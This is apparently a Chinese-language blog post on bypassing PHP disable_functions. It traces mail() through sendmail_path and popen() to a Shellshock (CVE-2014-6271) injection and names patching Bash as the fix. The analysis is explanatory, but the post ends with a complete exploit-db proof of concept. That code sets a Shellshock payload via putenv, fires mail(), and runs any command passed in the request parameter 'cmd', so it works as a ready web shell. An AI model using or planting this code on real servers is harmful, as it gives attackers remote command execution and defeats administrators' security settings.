PHP Execute Command Bypass Disable_functions
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先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c
236行：
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char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL;从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的：
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; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). ;sendmail_path =
注释中可以看到，send_mail默认值为"sendmail -t -i".
extra_cmd（用户传入的一些额外参数）存在的时候，调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。
如下：
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if (!sendmail_path) { #if (defined PHP_WIN32 || defined NETWARE) /* handle old style win smtp sending */ if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) { if (tsm_errmsg) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg); efree(tsm_errmsg); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err)); } MAIL_RET(0); } MAIL_RET(1); #else MAIL_RET(0); #endif } if (extra_cmd != NULL) { spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); } else { sendmail_cmd = sendmail_path; }之后执行：
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#ifdef PHP_WIN32 sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); #else /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitly set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd, "w"); #endif
将sendmail_cmd丢给popen执行。
如果系统默认sh是bash，popen会派生bash进程。而之前的bash破壳（CVE-2014-6271）漏洞，直接导致我们可以利用mail()函数执行任意命令，绕过disable_functions。
同样，我们搜索一下php的源码，可以发现，明里调用popen派生进程的php函数还有imap_mail，如果你仅仅通过禁用mail函数来规避这个安全问题，那么imap_mail是可以做替代的。当然，php里还可能有其他地方有调用popen或其他能够派生bash子进程的函数，通过这些地方，都可以通过破壳漏洞执行命令的。
影响版本：php 5.x 已测试，其他版本未测试
修复方法：修复CVE-2014-6271
给出POC（http://www.exploit-db.com/exploits/35146/）如下：
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<?php # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror # Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variableswhose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variablesthat // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, // PHP will let the user modify ANY environment variable! mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>
